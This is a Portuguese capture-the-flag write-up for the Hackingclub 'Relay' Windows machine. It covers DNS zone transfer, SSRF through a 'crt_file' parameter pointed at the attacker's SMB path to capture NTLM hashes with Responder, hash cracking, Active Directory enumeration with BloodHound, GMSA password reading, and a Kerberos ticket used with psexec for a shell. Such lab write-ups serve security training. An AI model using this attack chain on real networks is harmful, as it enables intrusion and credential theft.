Resolução da maquina Relay do Hackinclub.
A máquina Relay pertence ao Hackingclub, para poder ter acesso a essa máquina é necessário assinar o Hackingclub. | ||
A máquina está classificada como nível Difícil e seu sistema operacional é Windows. | ||
Reconhecimento | ||
Primeira etapa é fazer o reconhecimento inicial de portas e serviços disponíveis no alvo. Para essa finalidade utilizaremos a ferramenta Nmap. | ||
Nmap -sS -sV -v <IP> | ||
Resultado: | ||
Identificamos os serviços e as portas disponíveis, como também o nome do domínio relay.uhclabs. | ||
Adicione no / etc/ hosts. | ||
Verificaremos se o servidor DNS permite transferência de zona com o utilitário dig, comando: | ||
dig axfr relay.uhclabs @relay.uhclabs | ||
Resultado: | ||
Identificamos que o servidor permite transferência de zona. | ||
Nos utilizaremos o subdomínio ‘cert.relay.uhclabs’. | ||
Salve no / etc/ hosts | ||
Acessaremos o subdomínio pelo browser | ||
Resultado: | ||
Servidor retornou uma mensagem que precisamos definir o valor do parâmetro “crt_file”. | ||
Iniciaremos um servidor Python. | ||
Definiremos o parâmetro com a url pertencente ao nosso servidor. | ||
Enviamos a requisição. | ||
Resultado: | ||
Encontramos a vulnerabilidade de Server-Side Request Forgery(SSRF). | ||
Exploração | ||
Utilizaremos a ferramenta Responder para tentar capturar alguma credencial. | ||
No parâmetro vulnerável ‘crt_file’ colocaremos \\<Seu-IP>/tantofaz para o servidor tentar conectar-se a um suposto serviço do Samba, enviamos a requisição. | ||
Retornando ao responder temos o seguinte resultado. | ||
Resultado: | ||
O alvo está vulnerável a NTLM Relay Attack, conseguimos capturar nome de usuário e hash de senha. | ||
Salvaremos o Hash em um arquivo e iniciaremos a ‘quebra’ com o John the ripper | ||
Resultado: | ||
Utilizaremos a ferramenta ldapdomaindump para coletar todos os objetos do domínio e salvar em nossa máquina. | ||
Foram salvos esses arquivos presentes na imagem a baixo, contendo informações sobre o active directory. | ||
Resultado: | ||
Iniciaremos servidor HTTP python para melhor leitura. | ||
Resultado: | ||
Acessando o domain_users.html. | ||
Encontramos a Primeira Flag. | ||
| ||
Utilizaremos a ferramenta Bloodhound para entendermos como podemos obter acesso a máquina. | ||
bloodhound-python -u op -p <password> -ns 172.31.17.35 -d relay.uhclabs -c all | ||
Resultado: | ||
Foram salvos esses arquivos .json presentes na imagem a baixo, contendo informações sobre o active directory | ||
Selecione os arquivos, abra no bloodhound e selecione a opção “Find Shortest Paths To Domain Admins”. | ||
Resultado: | ||
O usuário OP pode ler senha GMSA do usuário svc_webapp. | ||
Utilizaremos o acesso do usuário op para ler o GMSA password. | ||
Hash capturado, então usaremos o hash e o usuário capturado para obter um ticket no kerberos para acessar a máquina alvo. | ||
Ticket salvo. | ||
Exportaremos a variável “KRB5CCNAME” para o psexec encontrar o ticket que foi salvo. | ||
Utilizaremos o psexec com o ticket para pegar uma shell. | ||
E capturamos a última flag. | ||
|